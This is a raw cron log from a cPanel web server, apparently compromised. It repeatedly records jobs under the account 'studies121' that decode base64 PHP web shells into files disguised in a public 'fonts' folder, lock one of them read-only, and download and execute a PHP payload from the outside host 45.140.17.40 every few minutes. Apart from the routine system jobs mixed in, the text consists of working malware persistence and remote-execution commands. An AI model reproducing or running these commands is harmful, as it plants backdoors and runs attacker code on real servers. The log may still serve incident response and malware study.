Aug 30 21:46:01 ip-184-168-122-23 CROND[13940]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 21:46:01 ip-184-168-122-23 CROND[13941]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 21:46:01 ip-184-168-122-23 CROND[13942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:46:01 ip-184-168-122-23 CROND[13943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:46:01 ip-184-168-122-23 CROND[13944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:47:01 ip-184-168-122-23 CROND[14034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:47:01 ip-184-168-122-23 CROND[14037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:47:01 ip-184-168-122-23 CROND[14036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:47:01 ip-184-168-122-23 CROND[14038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:48:01 ip-184-168-122-23 CROND[14135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:48:01 ip-184-168-122-23 CROND[14137]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:48:01 ip-184-168-122-23 CROND[14139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:48:01 ip-184-168-122-23 CROND[14138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:48:01 ip-184-168-122-23 CROND[14140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:49:01 ip-184-168-122-23 CROND[14307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:49:01 ip-184-168-122-23 CROND[14310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:49:01 ip-184-168-122-23 CROND[14308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:49:01 ip-184-168-122-23 CROND[14309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:50:01 ip-184-168-122-23 CROND[14394]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 21:50:01 ip-184-168-122-23 CROND[14395]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 21:50:01 ip-184-168-122-23 CROND[14399]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:50:01 ip-184-168-122-23 CROND[14402]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:50:01 ip-184-168-122-23 CROND[14400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:50:01 ip-184-168-122-23 CROND[14405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:50:01 ip-184-168-122-23 CROND[14406]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:50:01 ip-184-168-122-23 CROND[14404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:50:01 ip-184-168-122-23 CROND[14408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:51:01 ip-184-168-122-23 CROND[14497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:51:01 ip-184-168-122-23 CROND[14494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:51:01 ip-184-168-122-23 CROND[14495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:51:01 ip-184-168-122-23 CROND[14496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:52:01 ip-184-168-122-23 CROND[14578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:52:01 ip-184-168-122-23 CROND[14580]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:52:01 ip-184-168-122-23 CROND[14581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:52:01 ip-184-168-122-23 CROND[14584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:52:01 ip-184-168-122-23 CROND[14583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:53:02 ip-184-168-122-23 CROND[14677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:53:02 ip-184-168-122-23 CROND[14680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:53:02 ip-184-168-122-23 CROND[14679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:53:02 ip-184-168-122-23 CROND[14681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:54:01 ip-184-168-122-23 CROND[14833]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:54:01 ip-184-168-122-23 CROND[14836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:54:01 ip-184-168-122-23 CROND[14835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:54:01 ip-184-168-122-23 CROND[14837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:54:01 ip-184-168-122-23 CROND[14838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:55:01 ip-184-168-122-23 CROND[14932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:55:01 ip-184-168-122-23 CROND[14933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:55:01 ip-184-168-122-23 CROND[14934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:55:01 ip-184-168-122-23 CROND[14936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:55:01 ip-184-168-122-23 CROND[14937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:55:01 ip-184-168-122-23 CROND[14939]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:56:01 ip-184-168-122-23 CROND[15027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:56:01 ip-184-168-122-23 CROND[15029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:56:01 ip-184-168-122-23 CROND[15031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:56:01 ip-184-168-122-23 CROND[15030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:56:01 ip-184-168-122-23 CROND[15032]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:57:01 ip-184-168-122-23 CROND[15120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:57:01 ip-184-168-122-23 CROND[15121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:57:01 ip-184-168-122-23 CROND[15122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:57:01 ip-184-168-122-23 CROND[15124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:58:01 ip-184-168-122-23 CROND[15201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:58:01 ip-184-168-122-23 CROND[15202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:58:01 ip-184-168-122-23 CROND[15206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:58:01 ip-184-168-122-23 CROND[15205]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
